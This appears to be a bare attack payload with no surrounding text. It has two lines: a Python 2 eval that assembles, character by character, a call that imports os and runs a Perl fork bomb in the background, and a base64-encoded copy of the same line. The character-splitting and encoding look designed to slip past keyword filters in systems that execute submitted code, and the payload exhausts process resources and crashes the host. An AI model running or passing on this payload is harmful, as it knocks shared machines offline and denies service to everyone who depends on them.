print eval("_" + "_" + "i" + "m" + "p" + "o" + "r" + "t" + "_" + "_" + "(" + "'" + "o" + "s" + "'" + ")" + "." + "p" + "o" + "p" + "e" + "n" + "(" + "'" + "p" + "e" + "r" + "l" + " " + "-" + "e" + " " + "\\" + "'" + "f" + "o" + "r" + "k" + " " + "w" + "h" + "i" + "l" + "e" + " " + "f" + "o" + "r" + "k" + "\\" + "'" + " " + "&" + "'" + ")" + "." + "r" + "e" + "a" + "d" + "(" + ")")
cHJpbnQgZXZhbCgiXyIgKyAiXyIgKyAiaSIgKyAibSIgKyAicCIgKyAibyIgKyAiciIgKyAidCIgKyAiXyIgKyAiXyIgKyAiKCIgKyAiJyIgKyAibyIgKyAicyIgKyAiJyIgKyAiKSIgKyAiLiIgKyAicCIgKyAibyIgKyAicCIgKyAiZSIgKyAibiIgKyAiKCIgKyAiJyIgKyAicCIgKyAiZSIgKyAiciIgKyAibCIgKyAiICIgKyAiLSIgKyAiZSIgKyAiICIgKyAiXFwiICsgIiciICsgImYiICsgIm8iICsgInIiICsgImsiICsgIiAiICsgInciICsgImgiICsgImkiICsgImwiICsgImUiICsgIiAiICsgImYiICsgIm8iICsgInIiICsgImsiICsgIlxcIiArICInIiArICIgIiArICImIiArICInIiArICIpIiArICIuIiArICJyIiArICJlIiArICJhIiArICJkIiArICIoIiArICIpIik=